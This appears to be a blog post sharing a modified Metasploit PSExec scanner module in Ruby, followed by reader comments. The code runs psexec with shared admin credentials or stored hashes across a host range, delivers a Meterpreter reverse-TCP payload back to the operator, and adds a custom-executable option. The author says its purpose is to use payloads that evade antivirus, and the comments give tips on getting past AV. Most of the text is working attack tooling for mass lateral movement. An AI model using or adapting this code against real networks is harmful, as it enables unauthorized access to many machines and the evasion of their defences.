Last year DarkOperator(Carlos Perez) released an awesome auxiliary module for the Metasploit Framework: the PSExec Scanner Auxiliary Module. This module allows you to use a set of credentials (or hashes) to run the psexec Metasploit module against a list of hosts. A very handy trick when you have a shared local admin account and want to get shells on a bunch of machines where those admin credentials work.
I simply added a few lines to his script that adds the EXE::Custom option, which allows you to specify a custom binary to use as a payload rather than have the psexec module create one on the fly. This is useful if you like to use a custom executable that already bypasses AV, since the stock Metasploit payloads often get caught by AV’s. You set the EXE::Custom option like you would any other option is msf, e.g. “set EXE::Custom /tmp/samba/revshell.exe”.
Be forewarned: Using the custom binary can take a little while longer to pop the box than when you run the module with the default options.
Below is the original script with my edits/additions highlighted. You can download the edited script here
##
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
#Slightly modified by pipefish to add the EXE::Custom option
require 'msf/core'
require 'rex'
class Metasploit3 'Auxiliary PSExec Scanner',
'Description' => %q{
PSExec scanner module that will run a psexec attack against a range of hosts
using either a set of credentials provided or the credential saved in the
current workspace database.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez '],
'Version' => '$Revision$'
))
register_options(
[
OptString.new('SMBUser', [false, 'SMB Username', nil]),
OptString.new('SMBPass', [false, 'SMB Password', nil]),
OptString.new('SMBDomain', [true, "SMB Domain", 'WORKGROUP']),
OptString.new('SHARE', [ true,
"The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]),
OptString.new('RHOSTS', [true, 'Range of hosts to scan.', nil]),
OptInt.new('LPORT', [true, 'Local Port for payload to connect.', nil]),
OptString.new('LHOST', [true, 'Local Hosts for payload to connect.', nil]),
OptString.new('PAYLOAD', [true, 'Payload to use against Windows host',
"windows/meterpreter/reverse_tcp"]),
OptEnum.new('TYPE', [false,
'Type of credentials to use, manual for provided one, db for those found on the database',
'manual', ['db','manual']]),
OptString.new('OPTIONS',
[false, "Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.",
""]),
OptString.new('EXE::Custom', [false, 'Use custom exe instead of automatically generating a payload exe', nil]),
OptBool.new('HANDLER',
[ false, 'Start an Exploit Multi Handler to receive the connection', true]),
], self.class)
# no need for it
deregister_options('RPORT')
end
def setup()
# Set variables
pay_name = datastore['PAYLOAD']
lhost = datastore['LHOST']
lport = datastore['LPORT']
opts = datastore['OPTIONS']
if datastore['TYPE'] == "db"
print_status("Using the credentials found in the workspace database")
collect_hashes()
else
print_status("Using the username and password provided")
end
@pay = create_payload(pay_name,lhost,lport,opts)
create_multihand(pay_name,lhost,lport) if datastore['HANDLER']
end
# Run Method for when run command is issued
def run_host(ip)
if check_port(ip)
if datastore['TYPE'] == "manual"
if not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil?
user = datastore['SMBUser']
pass = datastore['SMBPass']
dom = datastore['SMBDomain']
payload = datastore['PAYLOAD']
custexe = datastore['EXE::Custom']
print_status("Trying #{user}:#{pass}")
psexec(ip,user,pass,dom,payload,custexe)
return
end
else
@creds.each do |c|
user,pass = c.split(" ")
dom = datastore['SMBDomain']
payload = datastore['PAYLOAD']
custexe = datastore['EXE::Custom']
print_status("Trying #{user}:#{pass}")
psexec(ip,user,pass,dom,payload,custexe)
end
end
else
return
end
end
## Run psexec on a given IP
def psexec(ip,user,pass,dom,payload,custexe)
psexec = framework.modules.create("exploit/windows/smb/psexec")
psexec.share_datastore(@pay.datastore)
psexec.datastore['PAYLOAD'] = payload
psexec.datastore['MODULE_OWNER'] = self.owner
psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
psexec.datastore['RHOST'] = ip
psexec.datastore['SMBUser'] = user
psexec.datastore['SMBPass'] = pass
psexec.datastore['SMBDomain'] = dom
if not datastore['EXE::Custom'].nil?
psexec.datastore['EXE::Custom'] = custexe
end
psexec.datastore['SHARE'] = datastore['SHARE']
psexec.datastore['RPORT'] = 445
psexec.datastore['ExitOnSession'] = false
psexec.datastore['DisablePayloadHandler'] = false
psexec.datastore['EXITFUNC'] = 'process'
psexec.datastore['VERBOSE'] = true
psexec.datastore['DisablePayloadHandler'] = true
psexec.datastore['ForceBlocking'] = true
psexec.options.validate(psexec.datastore)
psexec.exploit_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Payload' => payload,
'Target' => 0,
'ForceBlocking' => true,
'RunAsJob' => false)
Rex::ThreadSafe.sleep(4)
end
def check_port(ip)
status = false
timeout = 1000
port = 445
begin
s = connect(false,
{
'RPORT' => 445,
'RHOST' => ip,
'ConnectTimeout' => (timeout / 1000.0)
}
)
print_status("#{ip}:#{port} - TCP OPEN")
status = true
rescue ::Rex::ConnectionRefused
vprint_status("#{ip}:#{port} - TCP closed")
rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}")
ensure
disconnect(s) rescue nil
end
return status
end
def collect_hashes
type = "smb_hash|password"
@creds = []
print_status("Collecting Hashes from the DB")
framework.db.workspace.creds.each do |cred|
if cred.active and cred.ptype =~ /#{type}/ and cred.user !~ /(SUPPORT|HelpAssistant|TsInternetUser|IWAM|Guest)/
@creds < mul.datastore['PAYLOAD'],
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'RunAsJob' => true
)
else
print_error("Could not start handler!")
end
end
end
Does this work on win 7/srvr2008?
I tries psexec from metaploit on windows server.2008 and it uploaded my payload but nothing happened. The firewall was turned off to.
LikeLike
Hey Bill, it works on Windows 7 professional (that’s what I was testing on anyways). I guess first make sure the standard psexec exploit works without a custom coded EXE, to ensure there’s no weirdness (turn off AV for testing). In my experience when you fire off the psexec module and it connects and “runs” but no shell then AV is catching you (Even MS security essentials). Before trying to bypass AV make sure your setup runs with AV and whatnot off. Also, does your custom EXE work standalone? Can you just run it from the Windows box and have it connect to a listening multi/handler? You need to specify the proper payload listener in the psexec_scanner module that you’ve hard-coded in your EXE as well. Once everything works with no protection (and you’ve (en)coded it to bypass AV properly) you should have no prob. Good luck!
LikeLike